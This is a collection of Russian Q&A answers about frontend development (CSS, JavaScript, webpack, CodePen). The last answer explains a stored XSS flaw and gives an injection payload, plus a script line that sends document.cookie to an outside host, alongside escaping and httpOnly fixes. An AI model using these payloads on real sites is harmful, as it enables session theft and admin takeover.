• Как лучше сверстать блоки с отступом сверху в 50% от своей высоты?

    Можно сделать их в виде колон, сделать контейнер флексовым и элементы через align-self (flex-start, center, flex-end) выровнять.

    Пример
    Ответ написан
    4 комментария
  • На сколько быстро можно создать двухстраничный сайт-анкету?

    rockon404
    @rockon404
    Frontend Developer
    На сколько быстро можно такое реализовать, если нет знаний в этой сфере вообще?

    Настолько быстро, насколько вы можете получить необходимые знания + время на разработку.

    Как и какие ресурсы можете посоветовать?

    Любую фриланс биржу.

    Можно ли реализовать не потратив средств?

    1. Сделать самому. В вашем случае долго.
    2. Бартер.
    3. Найти спонсора/инвестора/мецената.

    Тут в соседнем ответе отличную альтернативу сайту предлагают.
    Ответ написан
    Комментировать
  • Как увеличить число внутри строки?

    0xD34F
    @0xD34F Куратор тега JavaScript
    const ul = document.querySelector('ul');
    
    document.querySelector('a').addEventListener('click', () => {
      const id = ul.lastElementChild.id.replace(/\d+$/, m => +m + 1);
      ul.insertAdjacentHTML('beforeend', `<li id="${id}"></li>`);
    });
    Ответ написан
    Комментировать
  • Как сверстать селект с изображениями в качестве option?

    victory_vas
    @victory_vas
    С обычным селектом никак не сделать. Заменить на div-ы + js. Если без js - только если с какими-то адскими костылями, как мне представляется :)
    Ответ написан
    Комментировать
  • Как сверстать селект с изображениями в качестве option?

    Destell
    @Destell
    React, React Native junior developer
    Ответ написан
    Комментировать
  • Как с помощью gulp и webpack-stream собирать несколько отдельных JS?

    dagen
    @dagen
    JavaScript developer
    ...
      entry: {
        header: './src/js/parts/header.js',
        header: './src/js/parts/footer.js',
        // и ещё любое кол-во точек входа
      },
      output: {
        filename: '[name].js',
        path: __dirname + cfg.build_js,
      },
      ...
    Ответ написан
    Комментировать
  • Как с помощью gulp и webpack-stream собирать несколько отдельных JS?

    Оф документация

    В entry передаете несколько точек входа и все
    entry: {
    	messenger: './messenger',
    	about: './about',
    },


    После к ним можно обращаться как к глобальным переменным.
    Ответ написан
    5 комментариев
  • Не видно мои работы в codepen?

    sfi0zy
    @sfi0zy
    Creative frontend developer
    Ваши работы на пару секунд попадают в ленту /pens/recent/. Это тысячи демок каждый день. А может и десятки тысяч. Может быть кто-то увидит ваши в этом потоке безумия, но в лучшем случае это будет пара человек.

    Если ваши работы снабжены релевантным заголовком/описанием/тегами, то другие люди могут их нагуглить (или в местном поиске найти). Будет немного просмотров. Но не сразу и не факт.

    Можно привлекать зрителей со стороны. Например с помощью статей на Хабре, Медиуме или еще где-нибудь, где есть аудитория. Просмотры будут. Можно еще фолловить и ставить сердечки всем подряд. Люди будут приходить, чтобы посмотреть, кто вы такой и что вы делаете.

    Если контент стоящий и он попадет на глаза модераторов (Chris Coyier, Marie Mosley, Gabi, Alex Vazquez, вроде еще кто-то был), то его могут отправить в очередь в ленту /pens/picks/. Полезно шарить свои работы в твиттер - они мониторят упоминания @CodePen. Вам придет оповещение со звездочкой и как очередь дойдет, ваш проект появится там. Путь к известности на СodePen начинается где-то в этой ленте, от нее всего шаг до главной ленты с популярными демками. Там просмотры растут очень быстро.
    Ответ написан
    Комментировать
  • Как заменить цифры на звездочки в номере телефона?

    0xD34F
    @0xD34F Куратор тега JavaScript
    function replaceNumbers(str, matches) {
      let count = 0;
      return str.replace(/\d/g, d => matches.includes(++count) ? '*' : d);
    }
    
    
    replaceNumbers('+7 (000) 000-00-00', [ 2, 3, 4 ]); // "+7 (***) 000-00-00"
    replaceNumbers('+7 (000) 000-00-00', [ 2, 3, 4, 5, 6, 7 ]); // "+7 (***) ***-00-00"
    replaceNumbers('+7 (000) 000-00-00', [ 10, 11 ]); // "+7 (000) 000-00-**"
    Ответ написан
    3 комментария
  • Как верстать фон-изображение с контетом внутри?

    @DimaDolgoter
    сделай контент на зеленом фоне, bоrder-ом сделай коричневую рамку, а остальное как фон для after и before
    Ответ написан
    Комментировать
  • Почему 4 блока по 25% не встают в одну линию?

    @Patient322
    Отображаются пробелы.
    Для контейнера можно стелать font-size: 0; а для блоков переопределить на нужный
    Ответ написан
    Комментировать
  • Как называется подобный эффект изображения?

    Danaket
    @Danaket
    Фрилансер, 3D графика.
    Lens flare blur - круги. А вот полосочки придётся самому нарисовать :) Хотя, если совсем уж лень можно поискать что-то вроде Poly facet И рисовать полосочки по уже готовой картинке.
    Ответ написан
    Комментировать
  • Как установить PurifyCSS?

    xmoonlight
    @xmoonlight
    https://sitecoder.blogspot.com
    да... по ошибке видно ("....non-ascii dash"), что скопипастили. введите вручную.
    Ответ написан
    Комментировать
  • Шрифт в h1 отличается от текста который в div что это?

    SexyMonkey
    @SexyMonkey
    Разный font-weight. 400 у div и 700 у h1
    Ответ написан
    Комментировать
  • Как сделать анимированный счетчик чисел (от 0 до N) с замедлением под конец?

    0xD34F
    @0xD34F Куратор тега JavaScript
    $.easing.bullshit = function(x, t, b, c, d) {
      return (t == d) ? b + c : c * (-Math.pow(2, -10 * t / d) + 1) + b;
    };
    
    $('.ach-number span').each(function() {
      $(this).prop('counter', 0).animate({
        counter: $(this).text(),
      }, {
        duration: 10000,
        easing: 'bullshit',
        step(val) {
          $(this).text(Math.ceil(val));
        },
      });
    });

    https://jsfiddle.net/ph4ku28v/
    Ответ написан
    1 комментарий
  • SASS - LESS - Stylus что выбрать?

    bingo347
    @bingo347
    Crazy on performance...
    Вопрос конечно больше вкуса, но все же SASS в синтаксисе SCSS
    Из плюсов могу сказать:
    - Самый богатый функционал (ИМХО)
    - CSS - это валидный SCSS
    - Многие библиотеки написаны сегодня на нем, что позволяет подгружать их по частям или использовать на уровне миксинов и функций
    - Возможность переопределить загрузку import'ов
    - Возможность писать функции на языке сборки - в большинстве случаев не надо, но все же полезно
    - Единое ядро на C и байндинги ко множеству языков
    Ответ написан
    4 комментария
  • Как при использовании webpack импортировать jQuery-плагин, но jQuery загружать с CDN?

    Vlad_IT
    @Vlad_IT Куратор тега JavaScript
    Front-end разработчик
    Подключаете jQuery дедовским способом в html, в конфиге webpack указываете
    externals: {
        jquery: 'jQuery'
    }

    и радуетесь
    import $ from 'jquery';
    $('.block').html('Ура, jQuery с нами!');
    Ответ написан
    1 комментарий
  • Дизайны сайтов в устройствах?

    sergey_st
    @sergey_st
    Таких ресурсов много, можно искать по запросу "mockup"
    Я обычно вот этим пользуюсь https://www.mockupworld.co/
    Качаешь PSD, открываешь в фотошопе и вставляешь скриншоты
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать